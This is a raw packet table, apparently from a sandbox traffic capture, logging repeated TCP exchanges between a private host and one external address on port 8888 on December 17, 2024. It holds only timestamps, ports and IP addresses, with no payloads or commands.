Dec 17, 2024 15:16:15.579273939 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.584498882 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.584536076 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.584681034 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.585355043 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.585555077 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.585632086 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.587970018 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.588129997 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.588192940 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.589720011 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.590426922 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.590488911 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.592134953 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.592324018 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.592386007 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.594750881 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.594948053 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.595004082 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.597434044 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.597587109 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.597646952 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.600071907 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.600286961 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.600349903 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.602643967 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.602829933 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.602890968 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.605324984 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.605555058 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.605679035 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.607980013 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.608084917 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.608145952 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.610474110 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.610671043 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.610743999 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.613261938 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.613466978 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.613528013 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.615756989 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.615958929 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.616015911 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.618561983 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.618680000 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.618737936 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.621028900 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.621233940 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.621294975 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.623647928 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.623847961 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.623909950 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.626342058 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.626513004 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.626574993 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.628978968 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.629122972 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.629189014 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.631608009 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.631799936 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.631870985 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.634210110 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.634357929 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.634437084 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.636826992 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.637012959 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.637073040 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.639529943 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.639666080 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.639729977 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.642083883 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.642261028 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.642327070 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.644893885 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.645116091 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.645183086 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.647382021 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.647552013 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.647610903 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.746820927 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.746934891 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.747003078 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.747838974 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.748018026 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.748079062 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.749557018 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.749759912 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.749820948 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.751697063 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.751871109 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.751929045 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.753906012 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.754103899 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.754164934 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.756161928 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.756341934 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.756400108 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.758125067 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.758294106 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.758357048 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.760313034 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.760526896 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.760590076 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.762233019 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.762435913 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.762495041 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.764204979 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.764419079 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.764492035 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.766186953 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.766379118 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.766438007 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.768177986 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.768357038 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.768419027 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.770117998 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.770306110 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.770366907 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.771995068 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.772200108 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.772262096 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.773917913 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.774090052 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.774148941 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.775789022 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.775988102 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.776046038 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.777697086 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.777879953 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.777937889 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.779612064 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.779838085 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.779906988 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.781466007 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.781666040 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.781725883 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.783373117 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.783544064 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.783606052 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.785265923 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.785470963 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.785531044 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.787241936 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.787453890 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.787513971 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.789199114 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.789347887 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.789408922 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.790958881 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.791169882 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.791229963 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.792917967 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.793217897 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.793277025 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.794836044 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.795032978 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.795092106 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.796637058 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.796808958 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.796870947 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.798640966 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.798795938 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.798854113 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.800589085 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.800729036 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.800786972 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.802284002 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.802486897 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.802546978 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.804199934 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.804390907 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.804450989 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.806119919 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.806334019 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.806392908 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.807987928 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.808167934 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.808226109 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.809959888 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.810086966 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.810147047 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.811779022 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.811990976 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.812050104 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.813652992 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.813848019 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.813906908 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.815587997 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.815769911 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.815828085 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.817440033 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.817634106 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.817692041 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.819341898 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.819514990 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.819571972 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.821261883 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.821491957 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.821552038 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.823251963 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.823394060 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.823451996 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.825247049 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.825460911 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.825520039 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.827076912 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.827282906 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.827353001 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.828809977 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.829006910 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.829070091 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.830689907 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.830883026 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.830940962 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.832690001 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.832880974 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.832938910 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.834927082 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.835091114 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.835149050 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.836534023 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.836719990 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.836777925 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.838279963 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.838438988 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.838495970 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.840251923 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.840396881 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.840456963 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.842056990 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.842235088 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.842295885 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.843950033 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.844130993 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.844189882 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.938777924 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.938949108 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.939032078 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.939517021 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.939740896 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.939805031 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.942533970 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.942684889 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.942744017 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.942960978 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.943378925 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.943444014 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.943649054 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.944803953 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.944864035 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.944993973 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.946424961 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.946491003 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.946578979 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.947886944 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.947946072 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.948002100 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.949440956 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.949505091 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.949593067 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.950858116 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.950927019 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.950998068 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.952310085 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.952373981 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.952481031 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.953761101 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.953820944 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.953877926 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.955275059 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.955348969 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.955424070 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.956614971 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.956675053 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.956814051 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.958058119 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.958117962 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.958215952 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.959435940 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.959496975 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.959553003 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.960882902 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.960943937 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.961031914 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.962187052 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.962248087 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.962333918 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.963515043 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.963572979 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.963669062 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.964951992 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.965013027 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.965136051 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.966195107 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.966254950 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.966386080 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.967569113 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.967628956 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.967731953 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.968883991 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.968943119 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.969029903 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.970227003 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.970288992 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.970393896 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.971524000 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.971584082 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.971672058 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.972922087 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.972984076 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.973071098 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.974153042 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.974220991 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.974328041 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.975538015 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.975599051 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.975670099 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.976783991 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.976861954 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.976950884 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.978162050 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.978224039 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.978410006 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.979456902 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.979516029 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.979675055 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.980861902 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.980922937 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.980971098 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.982085943 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.982142925 CET	49709	8888	192.168.2.5	193.143.1.231
Dec 17, 2024 15:16:15.982280970 CET	8888	49709	193.143.1.231	192.168.2.5
Dec 17, 2024 15:16:15.983413935 CET	8888	49709	193.143.1.231	192.168.2.5
